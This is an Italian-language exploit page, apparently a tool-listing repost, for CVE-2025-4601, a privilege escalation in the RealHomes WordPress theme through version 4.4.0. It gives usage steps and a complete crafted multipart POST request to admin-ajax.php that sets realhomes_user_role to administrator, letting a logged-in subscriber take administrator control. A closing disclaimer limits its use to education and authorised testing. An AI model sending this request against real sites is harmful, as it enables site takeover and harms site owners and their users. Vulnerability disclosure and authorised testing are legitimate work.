CVE-2025-4601 - Tema WordPress RealHomes <= 4.4.0 - Escalation dei privilegi

🔥 Riepilogo della vulnerabilità Il tema WordPress RealHomes versione <= 4.4.0 è vulnerabile a una vulnerabilità di escalation dei privilegi. Ciò consente a utenti autenticati con privilegi bassi (come gli abbonati) di scalare i propri ruoli fino ad amministratori. Questa vulnerabilità si verifica attraverso la funzione inspiry_update_profile, che consente impropriamente agli utenti di cambiare il proprio ruolo se l'opzione ere_allow_users_change_role è abilitata.

Questo problema può essere sfruttato inviando una richiesta POST appositamente predisposta all'endpoint admin-ajax.php, fornendo il parametro realhomes_user_role impostato su administrator.

🔍 Tema interessato

• Nome del tema: RealHomes
• Versione interessata: <= 4.4.0
• Tipo di vulnerabilità: Escalation dei privilegi
• ID CVE: CVE-2025-4601
• Punteggio CVSS: 8.8 (Critico)
• Impatto: Accesso amministrativo completo → Potenziale compromissione del sito

🧪 Caratteristiche dell'exploit

• 📥 Recupera automaticamente il nonce dalla pagina di destinazione.
• 🔐 Escalation del ruolo utente a administrator tramite il parametro realhomes_user_role.
• 🌐 Nessuna autenticazione aggiuntiva richiesta oltre ad essere connessi come utente a bassi privilegi (es. abbonato).
• 💾 Aggiorna il profilo utente, concedendo all'attaccante accesso amministrativo.

🧠 Ricercatore

• Crediti: Thai An

🚀 Utilizzo

1. Esegui il login al sito di destinazione come utente a bassi privilegi (es. abbonato).

2. Accedi all'endpoint /wp-admin/admin-ajax.php con i seguenti dati POST, che includono realhomes_user_role impostato su administrator:

   root@kitploit:~

   POST /wp-admin/admin-ajax.php HTTP/2
   Host: targetsite.com
   Cookie: wordpress_logged_in_xxx=...
   Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNGw1yuikHiYVYYsr
   
   ------WebKitFormBoundaryNGw1yuikHiYVYYsr
   Content-Disposition: form-data; name="first-name"
   test
   ------WebKitFormBoundaryNGw1yuikHiYVYYsr
   Content-Disposition: form-data; name="last-name"
   user
   ------WebKitFormBoundaryNGw1yuikHiYVYYsr
   Content-Disposition: form-data; name="realhomes_user_role"
   administrator
   ------WebKitFormBoundaryNGw1yuikHiYVYYsr
   Content-Disposition: form-data; name="action"
   inspiry_update_profile
   ------WebKitFormBoundaryNGw1yuikHiYVYYsr--
   

3. Controlla la risposta: Se la richiesta ha successo, l'attaccante otterrà accesso amministrativo.

4. Verifica accedendo alla pagina /wp-admin/ per confermare che all'attaccante siano stati concessi privilegi di amministratore.

🔒 Disclaimer: Questo è inteso solo per scopi educativi e dovrebbe essere utilizzato esclusivamente su sistemi di tua proprietà o per i quali hai esplicita autorizzazione ai test. L'uso improprio di questo codice può portare a conseguenze legali.